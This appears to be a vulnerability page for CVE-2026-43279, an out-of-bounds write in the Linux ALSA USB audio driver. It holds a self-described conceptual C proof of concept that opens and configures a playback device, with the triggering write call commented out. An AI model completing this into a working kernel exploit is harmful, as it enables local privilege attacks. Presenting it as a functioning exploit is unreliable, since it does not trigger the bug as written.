CVE-2026-43279 Linux内核ALSA越界写入漏洞

/* * PoC for CVE-2026-43279 (Conceptual) * Trigger: Local user triggers playback on a USB audio device * with implicit feedback mode enabled. * Requires: Specific hardware configuration where capture packet size > playback buffer size. */ #include <alsa/asoundlib.h> #include <stdio.h> #include <stdlib.h> int main() { int err; snd_pcm_t *playback_handle; snd_pcm_hw_params_t *hw_params; // 1. Open the PCM device for playback if ((err = snd_pcm_open(&playback_handle, "hw:0,0", SND_PCM_STREAM_PLAYBACK, 0)) < 0) { fprintf(stderr, "Cannot open audio device: %s\n", snd_strerror(err)); exit(1); } // 2. Allocate hardware parameters object snd_pcm_hw_params_alloca(&hw_params); snd_pcm_hw_params_any(playback_handle, hw_params); // 3. Set parameters (Implicit feedback mode usually requires specific setup) // This attempts to set up a stream that might trigger the buffer mismatch. if ((err = snd_pcm_hw_params_set_access(playback_handle, hw_params, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0) { fprintf(stderr, "Cannot set access type: %s\n", snd_strerror(err)); exit(1); } if ((err = snd_pcm_hw_params_set_format(playback_handle, hw_params, SND_PCM_FORMAT_S16_LE)) < 0) { fprintf(stderr, "Cannot set sample format: %s\n", snd_strerror(err)); exit(1); } // 4. Write data to trigger the URB preparation path // If the kernel is vulnerable and hardware conditions are met, // prepare_silent_urb() may cause an OOB write. printf("Attempting to trigger stream...\n"); // snd_pcm_writei(playback_handle, buffer, frames); snd_pcm_close(playback_handle); return 0; }